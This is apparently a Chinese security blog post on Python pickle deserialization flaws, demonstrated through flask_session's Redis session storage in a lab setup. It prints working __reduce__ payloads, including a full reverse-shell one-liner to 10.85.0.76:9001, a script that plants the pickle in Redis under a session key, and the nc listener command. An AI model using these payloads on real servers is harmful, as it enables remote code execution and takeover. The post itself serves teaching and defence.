Python反序列化安全问题

Python 反序列化安全问题（一）

这一段时间使用flask做web开发，使用了redis存储session，阅读了flask_session源码，发现在存储session到redis过程中，利用了cPickle模块进行序列化以及反序列化；正好根据该样例学习一波Python反序列化相关的安全问题，不足之处请各位表哥指出。

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一、基础知识讲解

1.1 cPickle模块

Python中主要是用cPickle和pickle，前者是使用C语言实现，速度可达到后者的1000倍，使用范围较广（ 文档链接）

cPickle可以序列化很多类型的对象，详情见文档。基础语法就是：

import cPickle
a = 1
b = cPickle.dumps(a)
cPickle.loads(b)

文档中需要特别关注的是11.1.5.2，Pickling and unpickling extension types
这一节主要内容就是讲述cPickle序列化以及反序列化扩展类的过程，原文有一句我并没有完全理解意思：

When the Pickler encounters an object of a type it knows nothing about — such as an extension type

初始理解的意思是：当遇到解释器一无所知的扩展类型的时候，但是对于理解的这句话，扩展类型是什么意思？后来想到Python中元类是type，这里extension types应该理解为type类型的class。

class A(): # 旧类
     pass
type(A)

class B(object): # 新类 
     pass
type(B)

所以说这一节主要针对的应该是新类，即 class A(object) 此种写法创建的类（存疑，待补充完善）；当序列化以及反序列化的过程中中碰到未知类的时候，可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化，该方法可以返回string和tuple类型；问题主要出在tuple类型（后面会细述），通过构造__reduce__可达到命令执行的目的：

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = 'whoami'
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

使用上述命令即可执行whoami命令。同时也可以利用该方式反弹shell：

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

然后在10.85.0.76执行nc -lvvp 9001，即可成功获取shell。

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1.2 flask_session

因为本次测试主要是依托于flask和redis，所以首先介绍一下flask_session。

flask中默认使用客户端session，如果想要配置服务端session，就需要使用flask_session配合Redis（后面皆以Redis为主）或者其他数据库。flask_session使用Redis存储session的过程（主要使用如下的接口实现，只展示部分代码）：

class RedisSessionInterface(SessionInterface):
    serializer = pickle  # 上文模块导入 import cPickle as pickle
    session_class = RedisSession
    
    def open_session(self, app, request):  # 获取session
        ……
        val = self.redis.get(self.key_prefix + sid)
        if val is not None:
            try:
                data = self.serializer.loads(val)  ## 将session值取出后反序列化
                return self.session_class(data, sid=sid)
            except:
                return self.session_class(sid=sid, permanent=self.permanent)
        return self.session_class(sid=sid, permanent=self.permanent)

    def save_session(self, app, session, response):  # 存储session
        ……
        val = self.serializer.dumps(dict(session)) ## 将session值序列化存储到redis
        

上述过程简单说就是：session存取过程存在序列化和反序列化的过程。
session在Redis中以键值对（key，value）的形式存储。假设我们能够操纵Redis中的键值对，将某个key的值设为我们序列化后恶意代码（比如上面反弹shell的代码样例），然后在将自身的cookie设置为该key，在访问网站的时候，服务端会对于根据key查找value并进行反序列化，进而反弹shell。下面对于该想法进行测试

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二、 漏洞测试

测试环境：

1. victim：Ubuntu 14.04、Redis 2.8.4、IP：10.85.0.54
2. attacker：Win10、IP：10.85.0.76

2.1 构建服务端

此处我用flask编写了一个服务端样例：

import redis
import os
from flask import Flask,session
from flask_session import Session
app = Flask(__name__)
SESSION_TYPE = 'redis'
SESSION_PERMANENT = False
SESSION_USE_SIGNER = False
SESSION_KEY_PREFIX = 'session'
SESSION_REDIS = redis.Redis(host='127.0.0.1',port='6379')
SESSION_COOKIE_HTTPONLY = True
PERMANENT_SESSION_LIFETIME = 604800  # 7 days
app.config.from_object(__name__)
Session(app)


@app.route('/')
def hello_world():
    session['name']='test'
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0')

将上述代码保存为app.py，第三方库安装完毕后，在服务器上运行

python app.py

即可在5000端口启动简单的服务端，访问如图所示，红框中是我们的sid，也是服务端查找session内容的key（因为设置了前缀，所以redis中key应该是session+sid）：

2.2 更改session

此时如果说我们将value设置为恶意代码会怎么样？

import cPickle
import os
import redis
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
r = redis.Redis(host='127.0.0.1',port=6379)
r.set('此处为'session'和你的sid拼接',result)

运行上述代码后，我们可以发现我们的session内容变成下图所示内容：

2.3 反弹shell

此时在attacker监听9001端口：

nc -lvvp 9001

然后刷新浏览器中访问页面，发现成功反弹shell：

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三、emmmm

目前很多Python的Web应用都用Redis等NoSQL进行session存储，当攻击者有机会去操纵服务端的session的时候（比如Redis未授权访问），配合反序列化漏洞即可执行命令。上述提到的两个库cPickle和pickle，两个库实现的功能基本相似，后面会对于Python实现的pickle库进行分析为何会出现命令执行的漏洞。